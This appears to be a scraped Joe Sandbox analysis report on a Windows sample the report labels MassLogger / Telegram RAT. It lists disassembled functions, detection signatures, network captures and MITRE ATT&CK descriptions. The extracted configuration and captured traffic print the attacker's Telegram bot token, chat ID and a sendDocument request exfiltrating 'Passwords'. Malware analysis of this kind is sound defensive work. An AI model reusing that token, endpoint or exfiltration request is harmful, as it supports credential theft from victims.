Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 7a6f0106b4239d9ac3b8fcc05964e2d77393bfbd5e6f180cbec399613a63415c
Instruction ID: e6536e69b0d71092e0ca89e0c4987ab994c72abebaf82362f0651b8dad680ce3
Opcode Fuzzy Hash: 7a6f0106b4239d9ac3b8fcc05964e2d77393bfbd5e6f180cbec399613a63415c
Instruction Fuzzy Hash: 4AE09B3290422927D720DA59AC4DAA7F7ECEB55B71F410156FD04D2051E9609A9587D0

Function 0022B2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0022B314: _memset.LIBCMT ref: 0022B321

Part of subcall function 00210940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,0022B2F0,?,?,?,001F100A), ref: 00210945

IsDebuggerPresent.KERNEL32(?,?,?,001F100A), ref: 0022B2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,001F100A), ref: 0022B303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0022B2FE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: d5c3bb5c90452c3c650d5ee967203286adf1c024c0e627d3889b2cfbbb6afe7b
Instruction ID: d3e0810100456d3b8321cee510d36bfbc147e137211dfa7469a359488fc1eeec
Opcode Fuzzy Hash: d5c3bb5c90452c3c650d5ee967203286adf1c024c0e627d3889b2cfbbb6afe7b
Instruction Fuzzy Hash: 87E065701207219BD761DF64F50834277E4AF04714F00496CE485C7251DBB4E458CBA1

Function 00247C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00247C82

Part of subcall function 00213358: _doexit.LIBCMT ref: 00213362

Strings

Error allocating memory., xrefs: 00247C7B
AutoIt, xrefs: 00247C76

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: c361578f9b64eb278d5f8e671abf6b1eed966f3e927fc73558949b91d851a028
Instruction ID: c2044fffdd0de7e3bea6b0e329508d40df12c594d482ae32ede6c974b0029778
Opcode Fuzzy Hash: c361578f9b64eb278d5f8e671abf6b1eed966f3e927fc73558949b91d851a028
Instruction Fuzzy Hash: 5FD02B323D831C33D10432A5AC07FCA798C4F16F52F000016FB18590D34ED148F042E9

Function 00231935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00231775

Part of subcall function 0026BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,0023195E,?), ref: 0026BFFE
Part of subcall function 0026BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0026C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0023196D

Strings

WIN_XPe, xrefs: 00231788

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: b41aaadb33a0cb951d6ceb589b98a829a43efc5d716708bdc84da673df2aa2c9
Instruction ID: 56149ba5905f5baa6c81b17518f4b2d1a07026dfbe2c8694025b370bc54f15d4
Opcode Fuzzy Hash: b41aaadb33a0cb951d6ceb589b98a829a43efc5d716708bdc84da673df2aa2c9
Instruction Fuzzy Hash: 06F0A5B0824109DBDB15DB91DA88AFCBBB8AB08301F580095E106A65A0D7758EA4DF60

Function 00275964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0027596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00275981

Part of subcall function 00255244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 002552BC

Strings

Shell_TrayWnd, xrefs: 00275967

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: bb4cb5d1767455ab63d03e540122f41301c2f80b82d8ba9efbfbba0ea00ec564
Instruction ID: 7bdd90da99354715f38f249dea7662d4ae5a6e22268189b8b376fa0e59357c72
Opcode Fuzzy Hash: bb4cb5d1767455ab63d03e540122f41301c2f80b82d8ba9efbfbba0ea00ec564
Instruction Fuzzy Hash: 46D0A931398310B7E2A8BB30AC0FFA22A14BB00B00F000828BA09AA0D0D8E09800CB54

Function 00275998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 002759AE
PostMessageW.USER32(00000000), ref: 002759B5

Part of subcall function 00255244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 002552BC

Strings

Shell_TrayWnd, xrefs: 002759A7

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 17b7d339871fd83bd938d1014a79b0295a7d663b0eda28775c0376f4eeb392ef
Instruction ID: 78799f41f55cc258c5c388506fabbd56bb9f087074f6993e38c797371539495b
Opcode Fuzzy Hash: 17b7d339871fd83bd938d1014a79b0295a7d663b0eda28775c0376f4eeb392ef
Instruction Fuzzy Hash: 2FD0A931384310BBE2A8BB30AC0FF922614BB01B00F000828BA09EA0D0D8E0A800CB58

Source: 00000003.00000002.3684930754.000000000314B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}
Source: RegSvcs.exe.6368.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.6:49725 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.6:49725 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31728dc874c9Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: MzqLQjCwrw.exe	Virustotal: Detection: 64%			Perma Link
Source: MzqLQjCwrw.exe	ReversingLabs: Detection: 68%

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MzqLQjCwrw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Idonna

C:\Users\user\AppData\Local\Temp\anaboly

C:\Users\user\AppData\Local\Temp\aut7D5.tmp

C:\Users\user\AppData\Local\Temp\aut844.tmp

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
MzqLQjCwrw.exe

Function 001F3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Function 001F49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 001F4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00259155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 001F301C Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 001F3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 001F708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 001F3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Function 001F3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 001F3766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Function 001FF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Function 010B2600 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 001F39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 010B23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151
fileCOMMON

Function 001F407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre